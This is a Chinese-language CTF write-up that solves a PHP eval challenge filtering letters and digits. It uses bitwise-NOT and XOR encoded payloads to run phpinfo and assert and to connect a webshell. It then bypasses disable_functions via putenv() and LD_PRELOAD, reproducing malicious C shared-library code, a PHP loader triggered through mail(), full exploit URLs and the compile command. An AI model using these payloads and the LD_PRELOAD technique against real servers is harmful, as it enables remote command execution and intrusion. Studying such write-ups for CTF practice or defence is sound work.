目录
取反
1.蚁剑插件绕过
2.baypass disable_function
open_dir/disable_function
putenv()/LD_PRELOAD 来绕过限制
利用条件
利用思路
有意思。。。。
40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
过滤了数字字母
我们要绕过并且执行rce
这里使用取反和异或都可以
我们首先来了解一下取反
通过这个代码 我们可以将字符取反并且通过url编码返回
所以在正则的时候 不会进行匹配
所以我们可以直接通过这个来构造payload
首先我们执行phpinfo()看看
这里的payload
?code=(~%8F%97%8F%96%91%99%90)();
过滤了很多函数 我们可以使用内置函数 arrest()
这里有一个坑
assert(phpinfo();)
并不会直接执行
我们来尝试一下
?code=(~%9E%8D%8D%8C%9A%8B)((~%8F%97%8F%96%91%99%90)();)
这里就类似于 assert(phpinfo();)
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
然后直接用蚁剑链接
但是我们无法读取flag 和readflag也无法 这里我们想到了 之间phpinfo中禁用函数了
这里有两个方法桡骨
然后 /readflag即可
第二种就很高大上了
深入浅出LD_PRELOAD & putenv()-安全客 - 安全资讯平台How to bypass disable_functions and open_basedir
首先我们了解一下如何防止getshell
这两个一个限制访问目录 一个限制访问函数 直接打死
我们如何绕过呢
LD_PRELOAD
是环境变量的路径文件 这个文件 在所有其他文件被调用前 首先执行
putenv()
这个函数是可以在这一次的请求中 暂时性的改变 环境变量
putenv ( string $setting ) : bool
通过 setting 添加到服务器的环境变量中 在当前请求中存活 在请求结束后消失
既然我们都可以修改环境变量 了 我们是不是getshell 就更简单了
这两个函数未被禁用
1.我们生成一个恶意的 共享库
2.通过 putenv()设置LD_PRELOAD为恶意共享库
3.通过函数触发 恶意共享库
4.RCE
这里直接使用github上面大佬现成的so和php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
我们来看看
so代码
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
就是获取指令 然后不断 更新环境变量
example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so ";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo " cmdline: " . $evil_cmdline . "
";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo " output:
" . nl2br(file_get_contents($out_path)) . "
";
unlink($out_path);
?>
php代码
通过cmd参数来指定命令 通过out_path来指定输出文件 通过sopath来指定污染的so文件
这里我们只需要通过
_GET(_GET())
来arrset(include(/var/tmp/hack.php)) 即可访问php文件
我们来通过取反执行
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=ls&outpath=/var/tmp/easy&sopath=/var/tmp/bypass_disablefunc_x64.so
然后我们修改cmd 即可
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/var/tmp/easy&sopath=/var/tmp/bypass_disablefunc_x64.so
了解漏洞就了解清楚了 我觉得才可以提升自己
我们来重新梳理一下劫持过程
这里我们要注意
我们使用mail函数 是因为 这个函数在执行后才会开启程序 这样我们就可以劫持进程
这里注意 mail()和error_log()都是开启了 sendmail进程 我们可以劫持 并且 sendmail中存在getuid函数 我们可以利用绕过disable_function
error_log()函数第二个参数要设置为1
我们来自己写一遍
hack.so
#include
#include
#include
void payload(){
system('ls /> /tmp/flag')
}
int getuid(){
if(getenv(LD_PRELOAD)==NULL){return 0;}
unsetenv(LD_PRELOAD);
payload();
}
hack.php
首先我们会include hack.php执行
然后就会设置共享库 hack.so 然后执行 mail
共享库的作用就是 定义了 getuid()这个函数 我们就可以覆盖掉之前的函数
因为LD_PRELOAD就是为了有选择的使用相同函数 就是可以在函数一样的情况下 指定选择
这样 我们判断当前环境变量 然后取消掉 设置payload即可
这样现在的getuid()函数就是 system("ls / -> /tmp/flag")
这种写法 就是大佬的写法了
首先我们要知道函数
__attribute__((constructor))
这个修饰符可以让其修饰的函数在 main函数启动前就启动
如果出现在共享对象中 如果共享被启动 就立马执行
#include
#include
#include
__attribute__((constructor)) void payload(){
unsetenv(LD_PRELOAD);
const char* cmd=getenv("CMD");
system(cmd);
}
这里通过php中的cmd变量 传递到so文件中 然后被获取 执行了cmd
编译方法都是一样的
gcc -shared -fPIC hack.c -o hack.so